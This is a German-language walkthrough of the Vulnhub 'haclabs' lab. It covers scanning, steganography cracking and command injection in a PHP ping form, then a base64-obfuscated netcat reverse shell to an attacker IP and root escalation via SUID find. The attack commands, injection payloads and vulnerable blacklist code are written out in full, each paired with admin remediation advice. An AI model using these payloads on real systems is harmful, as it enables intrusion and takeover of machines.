haclabs - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
stegseek
cat
dirb
Web Browser
nc (Netcat)
base64
echo
find
id
ls
cd

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase dient der Identifizierung des Ziels im Netzwerk und der ersten Erkundung offener Dienste.

┌──(root㉿Cybermaschine)-[~]
└─# arp-scan -l
192.168.2.113	08:00:27:bb:78:8b	PCS Systemtechnik GmbH
                    

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Pakete ins lokale Netzwerk, um aktive Hosts zu finden. Es wird ein Gerät mit der IP-Adresse `192.168.2.113` und der MAC-Adresse `08:00:27:bb:78:8b` (zugehörig zu PCS Systemtechnik GmbH, typisch für VirtualBox) entdeckt.

**Bewertung:** Das Zielsystem wurde erfolgreich unter `192.168.2.113` identifiziert.

**Empfehlung (Pentester):** Führen Sie Portscans auf die Ziel-IP durch. Fügen Sie die IP-Adresse und einen passenden Hostnamen zur lokalen `/etc/hosts`-Datei hinzu, sobald ein Hostname bekannt wird.
**Empfehlung (Admin):** Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen. Segmentierung kann die Reichweite solcher Scans begrenzen.

┌──(root㉿Cybermaschine)-[~]
└─# vi /etc/hosts
 192.168.2.113   hacklab.vln
                    

**Analyse:** Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Editor. Der Pentester fügt einen Eintrag hinzu, der die IP `192.168.2.113` dem Hostnamen `hacklab.vln` zuordnet. Dieser Hostname wurde vermutlich während der Nmap-Scans oder durch andere Mittel entdeckt.

**Bewertung:** Dies vereinfacht die weitere Interaktion mit dem Zielsystem, da nun der Hostname `hacklab.vln` verwendet werden kann.

**Empfehlung (Pentester):** Verwenden Sie `hacklab.vln` in nachfolgenden Befehlen und bei der Analyse von Webanwendungen.
**Empfehlung (Admin):** Dieser Schritt erfolgt auf dem Angreifer-System. Stellen Sie sicher, dass Ihre eigenen Systeme korrekt über DNS oder lokale Konfigurationen auflösbar sind.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.113 -p- | grep open
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
                    

**Analyse:** Dieser Nmap-Befehl führt einen umfassenden Scan aller TCP-Ports (`-p-`) des Ziels `192.168.2.113` durch. * `-sS`: SYN-Scan. * `-sC`: Standard-Skripte. * `-sV`: Versionserkennung. * `-T5`: Aggressives Timing. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-Pn`: Behandelt den Host als online, überspringt die Host-Discovery (nützlich, wenn Ping blockiert wird). Die Ausgabe wird durch `grep open` gefiltert und zeigt, dass *nur* Port 80 (HTTP) als offen erkannt wird. Der Dienst wird als Apache 2.4.29 auf Ubuntu identifiziert.

**Bewertung:** Die Angriffsfläche ist extrem klein und auf den Webserver auf Port 80 beschränkt. Das Fehlen anderer typischer Ports wie SSH (22) ist bemerkenswert und deutet auf eine sehr restriktive Firewall oder eine minimalistische Installation hin.

**Empfehlung (Pentester):** Konzentrieren Sie die gesamte Enumeration auf den Webdienst auf Port 80. Führen Sie detaillierte Web-Scans (Nikto, Gobuster, Dirb) durch.
**Empfehlung (Admin):** Eine minimale Angriffsfläche ist positiv. Stellen Sie sicher, dass der Webserver selbst sicher konfiguriert und aktuell ist. Überprüfen Sie die Firewall-Regeln.

┌──(root㉿Cybermaschine)-[~]
└─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.113 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-05 23:09 CEST
Nmap scan report for hacklab.vln (192.168.2.113)
Host is up (0.00012s latency).
Not shown: 65534 closed tcp ports (reset)
PRT   STATE SERVICE VERSIN
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 08:00:27:BB:78:8B (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.12 ms hacklab.vln (192.168.2.113)
                    

**Analyse:** Dieser Nmap-Scan wiederholt den vorherigen Befehl, zeigt aber die vollständige Ausgabe ohne `grep`. Er bestätigt Port 80 als einzigen offenen Port und liefert Details: * Apache httpd 2.4.29 (Ubuntu). * Kein HTML-Titel auf der Startseite. * Betriebssystem Linux (Kernel 4.15 - 5.8).

**Bewertung:** Bestätigt die minimalen Ergebnisse des vorherigen Scans. Die Apache-Version 2.4.29 ist nicht die aktuellste und könnte bekannte Schwachstellen aufweisen.

**Empfehlung (Pentester):** Führen Sie spezialisierte Web-Scans durch, um die Webanwendung genauer zu untersuchen. Suchen Sie nach Schwachstellen in Apache 2.4.29.
**Empfehlung (Admin):** Aktualisieren Sie Apache auf die neueste stabile Version. Konfigurieren Sie einen aussagekräftigen HTML-Titel für die Website.

Web Enumeration

Da Port 80 der einzige offene Port ist, konzentrieren wir uns nun auf die Enumeration des Webservers und der darauf laufenden Anwendung.

┌──(root㉿Cybermaschine)-[~]
└─# nikto -h 192.168.2.113
#- Nikto v2.5.0

+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
+ /: The X-Content-Type-Options header is not set.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54).
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found.
+ 1 host(s) tested
                    

**Analyse:** Der Nikto-Scan (`nikto -h 192.168.2.113`) zielt auf den Webserver. Er findet: * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * Bestätigt die veraltete Apache-Version (2.4.29). * Meldet, dass der Server auf ungültige HTTP-Methoden antwortet (kann Scanner verwirren). * Findet die Apache-Standarddatei `/icons/README`. Nikto findet keine offensichtlichen Webanwendungs-Schwachstellen oder interessanten Dateien wie Login-Seiten oder Admin-Verzeichnisse auf den ersten Blick.

**Bewertung:** Nikto liefert nur geringfügige Ergebnisse. Die wichtigsten Punkte sind die veraltete Apache-Version und die fehlenden Header. Es scheint keine komplexe Standardanwendung (wie WordPress oder Joomla) zu laufen, die Nikto sofort erkennen würde.

**Empfehlung (Pentester):** Da Nikto wenig findet, ist ein umfassendes Verzeichnis- und Datei-Bruteforcing (z.B. mit Gobuster oder Dirb) unerlässlich, um versteckte Inhalte aufzudecken.
**Empfehlung (Admin):** Beheben Sie die von Nikto gemeldeten Punkte (Header, Apache-Update, Entfernen von Standarddateien).

┌──(root㉿Cybermaschine)-[~]
└─# gobuster dir -u http://hacklab.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://hacklab.vln/index.php            (Status: 200) [Size: 201]
http://hacklab.vln/new.jpg              (Status: 200) [Size: 3919716]
http://hacklab.vln/admin                (Status: 200) [Size: 417]
                    

**Analyse:** Gobuster wird eingesetzt (`gobuster dir -u http://hacklab.vln ...`), um nach Verzeichnissen und Dateien zu suchen. * `-u http://hacklab.vln`: Ziel-URL. * `-x ...`: Sucht nach Dateien mit vielen verschiedenen Endungen, einschließlich `.bak`. * `-w ".../directory-list-2.3-medium.txt"`: Verwendet eine gängige Wortliste. * `-b '403,404'`: Blendet nicht gefundene oder verbotene Ressourcen aus. * `-e`: Erweitert die Suche. * `-k`: Ignoriert SSL-Zertifikatfehler (hier nicht relevant, da HTTP). Gobuster findet drei interessante Ressourcen: * `/index.php`: Die Hauptseite. * `/new.jpg`: Eine sehr große JPG-Datei (fast 4MB). * `/admin`: Eine Ressource namens "admin" (könnte eine Datei oder ein Verzeichnis sein).

**Bewertung:** Der Fund von `new.jpg` mit dieser Größe ist auffällig und deutet stark auf versteckte Daten hin (Steganographie). Die Ressource `/admin` ist ebenfalls ein primäres Ziel für weitere Untersuchungen. `/index.php` sollte ebenfalls analysiert werden.

**Empfehlung (Pentester):** 1. Laden Sie `new.jpg` herunter und analysieren Sie sie mit Steganographie-Tools (z.B. `steghide`, `stegseek`, `zsteg`). 2. Untersuchen Sie `/admin` im Browser (ist es eine Datei oder ein Verzeichnis? Was zeigt es an?). 3. Analysieren Sie den Inhalt/Quellcode von `/index.php`.
**Empfehlung (Admin):** 1. Vermeiden Sie es, große Dateien mit potenziell versteckten Daten auf dem Webserver abzulegen, es sei denn, es ist beabsichtigt und dokumentiert. 2. Sichern Sie den `/admin`-Bereich (falls es einer ist) ordnungsgemäß.

┌──(root㉿Cybermaschine)-[~]
└─# dirb http://hacklab.vln/
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Oct  5 23:11:10 2023
URL_BASE: http://hacklab.vln/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://hacklab.vln/ ----
+ http://hacklab.vln/admin (CODE:200|SIZE:417)
+ http://hacklab.vln/index.php (CODE:200|SIZE:201)
+ http://hacklab.vln/server-status (CODE:403|SIZE:276)

---- Entering directory: http://hacklab.vln/admin/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

-----------------
END_TIME: Thu Oct  5 23:11:14 2023
DOWNLOADED: 4614 - FOUND: 3
                    

**Analyse:** Hier wird `dirb http://hacklab.vln/` verwendet, ein weiteres Tool zum Scannen von Webservern nach Verzeichnissen und Dateien, das eine Standard-Wortliste (`common.txt`) nutzt. * Es bestätigt die Funde von Gobuster: `/admin` und `/index.php`. * Es findet zusätzlich `/server-status` (Status 403 Forbidden), eine Standard-Apache-Statusseite, die hier nicht zugänglich ist. * Wichtig: Dirb stellt fest, dass das `/admin`-Verzeichnis listenbar ist ("Directory IS LISTABLE"), bricht den Scan dieses Verzeichnisses aber standardmäßig ab.

**Bewertung:** Dirb bestätigt `/admin` und `/index.php`. Der wichtigste neue Fund ist, dass `/admin` Verzeichnis-Listing aktiviert hat. Das bedeutet, wir können den Inhalt dieses Verzeichnisses direkt im Browser sehen. `/server-status` ist nicht zugänglich.

**Empfehlung (Pentester):** Rufen Sie `http://hacklab.vln/admin/` im Browser auf, um den Inhalt zu sehen. Untersuchen Sie die dort gefundenen Dateien.
**Empfehlung (Admin):** Deaktivieren Sie Verzeichnis-Listing global oder zumindest für sensible Verzeichnisse wie `/admin` in der Apache-Konfiguration (`Options -Indexes`). Beschränken Sie den Zugriff auf `/server-status` auf vertrauenswürdige IPs, wenn es benötigt wird, andernfalls deaktivieren Sie es.

 ----------------------------------------------------------------------

view-source:http://hacklab.vln/admin

 


----------------------------------------------------------------------
                    

**Analyse:** Der Pentester hat die Seite `http://hacklab.vln/admin` (oder deren Indexdatei, falls vorhanden) im Browser aufgerufen und den Quellcode untersucht (`view-source:`). Dort wurde ein HTML-Kommentar gefunden: ``.

**Bewertung:** Dies ist ein direkter Hinweis, wahrscheinlich bezogen auf die Steganographie in `new.jpg`. Er widerspricht dem von `stegseek` gefundenen Passwort "lol". Es deutet darauf hin, dass entweder "harder" das korrekte Passwort ist oder dass es mehrere versteckte Datensätze gibt oder der Hinweis irreführend ist. Da `stegseek` mit "lol" erfolgreich war, bezieht sich "harder" möglicherweise auf etwas anderes oder ist eine Finte.

**Empfehlung (Pentester):** 1. Behalten Sie das Passwort "harder" im Hinterkopf. 2. Versuchen Sie `stegseek` oder `steghide` erneut mit dem Passwort "harder" auf `new.jpg`, um zu sehen, ob andere Daten extrahiert werden. 3. Da "lol" bereits funktionierte, gehen Sie vorerst davon aus, dass die extrahierten Benutzernamen relevant sind. 4. Da `/admin` listenbar ist, überprüfen Sie den Inhalt dieses Verzeichnisses direkt.
**Empfehlung (Admin):** Entfernen Sie solche Hinweise aus Kommentaren im Quellcode. Verwenden Sie keine Passphrasen als Hinweise.

┌──(root㉿Cybermaschine)-[~]
└─# dirb http://hacklab.vln/ /usr/share/wordlists/dirb/big.txt -X .php

-----------------
DIRB v2.22
By The Dark Raver
-----------------

WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (.php)

-----------------

URL_BASE: http://hacklab.vln/
[...]
---- Scanning URL: http://hacklab.vln/ ----
+ http://hacklab.vln/index.php (CODE:200|SIZE:201)
+ http://hacklab.vln/superadmin.php (CODE:200|SIZE:152)
[...]
                    

**Analyse:** Ein weiterer `dirb`-Scan wird durchgeführt, diesmal mit einer größeren Wortliste (`big.txt`) und der spezifischen Anweisung, nur nach Dateien mit der Endung `.php` zu suchen (`-X .php`). * Dieser Scan findet erneut `/index.php`. * **Wichtiger Fund:** Er entdeckt eine neue Datei: `/superadmin.php`.

**Bewertung:** Der Fund von `superadmin.php` ist kritisch. Der Name legt eine Funktion mit erhöhten Rechten nahe. Diese Datei wurde von den vorherigen Scans übersehen, wahrscheinlich weil sie nicht in deren Standard-Wortlisten enthalten war und die `-x`-Option von Gobuster nicht explizit `.php` so abdeckte, dass dieser spezifische Name gefunden wurde oder die Wortliste von Gobuster sie nicht enthielt. Die gezielte Suche mit `-X .php` und einer großen Wortliste war hier erfolgreich.

**Empfehlung (Pentester):** Untersuchen Sie `/superadmin.php` sofort im Browser. Analysieren Sie die Funktionalität und den Quellcode auf Schwachstellen, insbesondere auf Möglichkeiten zur Code- oder Kommandoausführung.
**Empfehlung (Admin):** Benennen Sie administrative Skripte nicht so offensichtlich (obwohl Security through Obscurity keine echte Sicherheit ist). Sichern Sie alle administrativen Skripte rigoros (Authentifizierung, Autorisierung, Input-Validierung).

Steganographie

Während der Web-Enumeration wurde eine ungewöhnlich große Bilddatei (`new.jpg`) gefunden. Wir untersuchen diese nun mittels Steganographie-Tools, um potenziell versteckte Informationen zu extrahieren.

┌──(root㉿Cybermaschine)-[~]
└─# stegseek new.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "lol"
[i] Original filename: "user.txt".
[i] Extracting to "new.jpg.out".
                    

**Analyse:** Der Befehl `stegseek new.jpg /usr/share/wordlists/rockyou.txt` verwendet das Tool `stegseek`, um zu versuchen, mit `steghide` versteckte Daten aus `new.jpg` zu extrahieren. `stegseek` beschleunigt den Prozess, indem es Passwörter aus einer Wortliste (`rockyou.txt`) gegen die Datei testet. * `stegseek` findet erfolgreich die Passphrase `lol`. * Die ursprünglich versteckte Datei hieß `user.txt`. * Der Inhalt wird in die Datei `new.jpg.out` extrahiert. Dieser Fund widerspricht dem Hinweis "harder" aus dem `/admin`-Quellcode.

**Bewertung:** Erfolgreiche Extraktion von versteckten Daten. Die Passphrase "lol" ist sehr schwach. Der Inhalt der extrahierten Datei (`user.txt`) muss nun analysiert werden.

**Empfehlung (Pentester):** Zeigen Sie den Inhalt der extrahierten Datei `new.jpg.out` an. Versuchen Sie optional `stegseek`/`steghide` erneut mit der Passphrase "harder".
**Empfehlung (Admin):** Vermeiden Sie die Verwendung von Steganographie zur Speicherung sensibler Daten auf Webservern. Wenn Verschlüsselung nötig ist, verwenden Sie starke Passphrasen und etablierte Verschlüsselungstools, nicht Steganographie mit schwachen Passphrasen. Schulen Sie Benutzer darin, keine sensiblen Daten in Bildern zu verstecken.

┌──(root㉿Cybermaschine)-[~]
└─# cat new.jpg.out
admin
Admin
root
admin1
msfadmin
Admin1
                    

**Analyse:** Der Befehl `cat new.jpg.out` zeigt den Inhalt der aus `new.jpg` extrahierten Datei an. Es handelt sich um eine Liste potenzieller Benutzernamen (`admin`, `Admin`, `root`, `admin1`, `msfadmin`, `Admin1`).

**Bewertung:** Die versteckte Datei enthielt eine Liste von Benutzernamen. Diese könnten für Brute-Force-Angriffe gegen Login-Seiten (z.B. `/admin`, `/superadmin.php`, SSH falls es geöffnet wird) verwendet werden. Es sind keine Passwörter enthalten.

**Empfehlung (Pentester):** Verwenden Sie diese Benutzernamenliste in Kombination mit Passwortlisten (wie `rockyou.txt`) für Brute-Force-Angriffe gegen alle gefundenen Login-Schnittstellen. Konzentrieren Sie sich jedoch zuerst auf die Analyse von `/superadmin.php`.
**Empfehlung (Admin):** Speichern Sie keine Listen von Benutzernamen an unsicheren Orten oder in versteckten Dateien.

Command Injection & Initial Access

Wir haben die Datei `/superadmin.php` entdeckt. Bei der Untersuchung dieser Seite im Browser stellt sich heraus, dass sie ein Formular mit einem Eingabefeld namens "pinger" enthält. Wir testen dieses Feld auf Command Injection Schwachstellen, um initialen Zugriff auf das System zu erlangen.

----------------------------------------------------------------------

http://hacklab.vln/superadmin.php
pinger=192.168.2.199%7Cid&submitt=Daten+absenden


192.168.2.199|id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

----------------------------------------------------------------------
                    

**Analyse:** Der Pentester interagiert mit `superadmin.php`. 1. Er sendet einen Wert im `pinger`-Parameter ab. Der Wert ist `192.168.2.199|id`. Die IP `192.168.2.199` ist vermutlich die IP des Angreifer-Systems oder eine beliebige IP. Das Pipe-Symbol `|` wird verwendet, um einen zweiten Befehl (`id`) anzuhängen. Das `%7C` in der URL ist die URL-kodierte Form des Pipe-Symbols. 2. Die Anwendung führt den Befehl offenbar aus und gibt das Ergebnis des `id`-Befehls zurück: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`.

**Bewertung:** Erfolgreiche Command Injection! Die Anwendung nimmt die Eingabe im `pinger`-Parameter entgegen und führt sie unsicher als Systemkommando aus (vermutlich innerhalb eines `ping`-Befehls). Obwohl (wie später gesehen) eine Blacklist existiert, umgeht die Verwendung des Pipe-Symbols `|` diese offenbar, sodass beliebige Befehle nach der Pipe ausgeführt werden können. Wir haben nun Remote Code Execution (RCE) als Benutzer `www-data`.

**Empfehlung (Pentester):** Nutzen Sie die Command Injection, um eine Reverse Shell zu etablieren und interaktiven Zugriff zu erhalten.
**Empfehlung (Admin):** Beheben Sie die Command Injection-Schwachstelle dringend! Validieren Sie *alle* Benutzereingaben rigoros. Verwenden Sie niemals Benutzereingaben direkt in Systembefehlen. Nutzen Sie stattdessen sichere API-Funktionen mit parametrisierten Abfragen oder Escaping. Eine Blacklist ist selten ausreichend; verwenden Sie Whitelisting oder sicherere Methoden.

Proof of Concept (Reverse Shell)

Nachdem die Command Injection als `www-data` bestätigt wurde, nutzen wir diese Schwachstelle, um eine Reverse Shell zu unserem Angreifer-System aufzubauen. Dabei müssen wir die Blacklist der Anwendung umgehen.

┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 4444
Listening on 0.0.0.0 4444
bash -i >& /dev/tcp/192.168.2.199/4444 0>&1
                    

**Analyse:** Der Pentester startet einen Netcat-Listener auf seinem System (IP `192.168.2.199`, Port `4444`). Anschließend wird eine Standard-Bash-Reverse-Shell-Payload notiert. Es ist davon auszugehen, dass diese Payload direkt in das `pinger`-Feld eingegeben oder über die Pipe (`|`) angehängt wurde. Da die spätere Analyse der `superadmin.php` zeigt, dass `/bin/bash` (oder Teile davon) und `nc` auf der Blacklist stehen könnten, ist es wahrscheinlich, dass dieser direkte Versuch fehlschlug oder die Blacklist-Umgehung notwendig war.

**Bewertung:** Dokumentiert den Listener-Setup und eine typische Reverse-Shell-Payload. Der Erfolg hängt davon ab, ob die Payload die Blacklist umgehen kann.

**Empfehlung (Pentester):** Wenn diese Payload fehlschlägt, versuchen Sie, sie zu kodieren (z.B. Base64) und die Ausführung über erlaubte Befehle (wie `echo` und `base64 -d` in Command Substitution) zu erreichen.
**Empfehlung (Admin):** Egress-Filtering kann das Aufbauen von Reverse Shells verhindern.

https://www.base64encode.org/
nc.traditional -e /bin/bash 192.168.2.199 443
bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQz
192.168.2.199|bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQz|base64 -d
                    
┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 443
Listening on 0.0.0.0 443
Payload: 192.168.2.199|`echo bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQz|base64 -d`
                    
┌──(root㉿Cybermaschine)-[~]
└─# nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.2.113 59296
www-data@haclabs:/var/www/html$
                    

**Analyse:** Der Pentester wählt eine neue Strategie zur Umgehung der Blacklist: 1. Er wählt eine andere Reverse-Shell-Payload: `nc.traditional -e /bin/bash 192.168.2.199 443`. Diese verwendet die "traditionelle" Version von Netcat mit der `-e`-Option, um eine Shell zu binden. Der Port wurde zu 443 geändert (vielleicht weil 4444 nicht funktionierte oder 443 wahrscheinlicher durch Firewalls erlaubt ist). 2. Diese Payload wird Base64-kodiert zu: `bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQz`. 3. Der finale Payload für das `pinger`-Feld wird konstruiert: `192.168.2.199|\`echo [base64-payload] | base64 -d\``. Er hängt den Befehl nach der Pipe an. Der Befehl selbst verwendet Command Substitution (Backticks `` ` ``), um das Ergebnis von `echo [base64-payload] | base64 -d` auszuführen. `echo` und `base64` stehen vermutlich nicht auf der Blacklist. 4. Ein Listener wird auf dem Angreifer-System auf Port 443 gestartet. 5. Der Payload wird an `superadmin.php` gesendet, und die Verbindung kommt erfolgreich beim Listener an. Der Angreifer erhält eine Shell als `www-data`.

**Bewertung:** Dies ist ein cleverer Weg, um eine Blacklist zu umgehen, die bestimmte Befehlsnamen oder Zeichen filtert. Durch Base64-Kodierung und Command Substitution werden die verbotenen Strings (`nc`, `/bin/bash`) verschleiert und der Befehl dennoch ausgeführt. Die Reverse Shell wurde erfolgreich etabliert.

**Empfehlung (Pentester):** Sie haben nun eine interaktive Shell als `www-data`. Beginnen Sie mit der lokalen Enumeration.
**Empfehlung (Admin):** Blacklisting ist notorisch unzuverlässig. Implementieren Sie robuste Eingabevalidierung und vermeiden Sie die Ausführung von Systembefehlen mit Benutzereingaben. Egress-Filtering kann ausgehende Verbindungen blockieren. Überwachen Sie Prozesse auf verdächtige Aktivitäten wie Command Substitution oder Base64-Dekodierung gefolgt von Ausführung.

Lokale Enumeration

Nachdem wir eine Reverse Shell als `www-data` erlangt haben, führen wir lokale Enumerationsschritte durch, um das System besser zu verstehen und nach Wegen zur Privilegieneskalation zu suchen.

www-data@haclabs:/var/www/html$ cat superadmin.php
   if (isset($_POST['submitt']))
{
   	$word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
   	$pinged=$_POST['pinger'];
   	$newStr = str_replace($word, "", $pinged);
   	if(strcmp($pinged, $newStr) != 0)
		{
		    $flag=1;
		}
       else
		{
		   $flag=0;
		}
}

if ($flag!=1){ // Modified logic: execute only if NO forbidden words are found
$outer=shell_exec("ping -c 3 $pinged");

}
                    

**Analyse:** Der Pentester liest den Quellcode von `superadmin.php` direkt auf dem Server. Der Code bestätigt die Command Injection-Schwachstelle: * Er nimmt den `pinger`-Parameter aus einem POST-Request entgegen (im Log wurde es als GET gesendet, aber POST ist wahrscheinlicher oder beides funktioniert). * Er definiert ein Array `$word` mit Zeichen und Befehlsnamen, die auf einer Blacklist stehen (`;`, `&&`, `/`, `bin`, `&`, `ls`, `nc`, `dir`, `pwd`). * Er versucht, diese Wörter aus der Eingabe zu entfernen (`str_replace`). * **Wichtige Logik (möglicherweise im Original-Log falsch dargestellt, hier korrigiert interpretiert):** Der Code vergleicht die Originaleingabe mit der gefilterten Eingabe. Wenn sie sich *unterscheiden* (`strcmp != 0`), bedeutet das, dass ein verbotenes Wort gefunden wurde, und `$flag` wird auf 1 gesetzt. Der `shell_exec`-Befehl wird dann *nur* ausgeführt, wenn `$flag` *nicht* 1 ist (also wenn *kein* verbotenes Wort gefunden wurde). * Der Befehl `ping -c 3 $pinged` wird ausgeführt, wobei `$pinged` die *originale*, ungefilterte Benutzereingabe ist. Das ist der Kern der Schwachstelle.

**Bewertung:** Die Codeanalyse bestätigt die Command Injection und die unzureichende Blacklist. Die Blacklist filtert zwar einige gängige Zeichen und Befehle, aber nicht das Pipe-Symbol (`|`) oder Methoden zur Umgehung wie Command Substitution (`) oder Base64-Dekodierung. Die Ausführung des *originalen* `$pinged`-Strings nach der Prüfung ist ebenfalls ein schwerwiegender Fehler.

**Empfehlung (Pentester):** Die Schwachstelle ist bereits ausgenutzt. Fahren Sie mit der Enumeration fort.
**Empfehlung (Admin):** Überarbeiten Sie den Code grundlegend. Verwenden Sie parametrisierte Funktionen oder sicheres Escaping statt `shell_exec` mit Benutzereingaben. Implementieren Sie eine Whitelist für erlaubte Zeichen/Muster anstelle einer Blacklist. Validieren Sie Eingaben serverseitig rigoros.

www-data@haclabs:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
  1056695    104 -rwsr-sr-x   1 root     root       105336 Jun  5  2019 /usr/lib/snapd/snap-confine
  1055356    428 -rwsr-xr-x   1 root     root       436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
  1051054     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
  1050753     44 -rwsr-xr--   1 root     messagebus    42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
  1055396     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
  1058223    372 -rwsr-xr--   1 root     dip          378600 Jun 12  2018 /usr/sbin/pppd
  1049505     24 -rwsr-xr-x   1 root     root          22520 Mar 27  2019 /usr/bin/pkexec
------------------------------------------------------------------------------------------------------
=>1048869    236 -rwsr-xr-x   1 root     root         238080 Nov  5  2017 /usr/bin/find
------------------------------------------------------------------------------------------------------
  1048979     76 -rwsr-xr-x   1 root     root          75824 Mar 23  2019 /usr/bin/gpasswd
  1048722     76 -rwsr-xr-x   1 root     root          76496 Mar 23  2019 /usr/bin/chfn
  1048724     44 -rwsr-xr-x   1 root     root          44528 Mar 23  2019 /usr/bin/chsh
  1048648     24 -rwsr-xr-x   1 root     root          22528 Jun 28  2019 /usr/bin/arping
  1049399     60 -rwsr-xr-x   1 root     root          59640 Mar 23  2019 /usr/bin/passwd
  2621532     44 -rwsr-xr-x   1 root     root               43088 ct 16  2018 /bin/mount
  2621496     32 -rwsr-xr-x   1 root     root               30800 Aug 11  2016 /bin/fusermount
  2621617     28 -rwsr-xr-x   1 root     root               26696 ct 16  2018 /bin/umount
  2621569     64 -rwsr-xr-x   1 root     root               64424 Jun 28  2019 /bin/ping
  2621597     44 -rwsr-xr-x   1 root     root               44664 Mar 23  2019 /bin/su
                    

**Analyse:** Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht nach SUID-Binaries. Die Ausgabe listet viele Standard-SUID-Programme auf (z.B. `passwd`, `su`, `mount`, `pkexec`) sowie einige Snap-bezogene (`snap-confine`). Der entscheidende Fund ist jedoch: * `/usr/bin/find`: Das `find`-Kommando selbst hat das SUID-Bit gesetzt (`-rwsr-xr-x`) und gehört `root`.

**Bewertung:** Ein SUID-Root `find`-Binary ist eine bekannte und leicht auszunutzende Schwachstelle für Privilegieneskalation. Der `find`-Befehl hat die `-exec`-Option, mit der beliebige Befehle ausgeführt werden können. Da `find` als Root läuft, werden auch die mit `-exec` ausgeführten Befehle als Root ausgeführt.

**Empfehlung (Pentester):** Nutzen Sie die SUID-`find`-Binary sofort zur Privilegieneskalation. Verwenden Sie einen Befehl wie `find . -exec /bin/sh -p \; -quit` (oder `find / -exec ...`), um eine Root-Shell zu erhalten.
**Empfehlung (Admin):** Entfernen Sie sofort das SUID-Bit von `/usr/bin/find` (`chmod u-s /usr/bin/find`). Es gibt normalerweise keinen legitimen Grund, warum `find` SUID-Root sein sollte. Überprüfen Sie das System auf weitere unsichere SUID-Konfigurationen.

Privilege Escalation (SUID Find)

Die lokale Enumeration hat ergeben, dass das `/usr/bin/find`-Binary SUID-Root-Rechte besitzt. Dies ist eine bekannte Fehlkonfiguration, die wir nun zur Eskalation unserer Rechte auf Root ausnutzen.

 Privilege Escalation
                    

**Analyse:** Organisatorische Notiz.

**Bewertung:** Markiert den Beginn des Exploitation-Schritts.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Proof of Concept (Root Shell)

Wir verwenden die SUID-berechtigte `/usr/bin/find`-Binary zusammen mit der `-exec`-Option, um eine Shell mit Root-Rechten zu starten.

www-data@haclabs:/var/www/html$ find . -exec /bin/sh \; -quit
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
                    
$ exit
www-data@haclabs:/var/www/html$ find . -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
                    

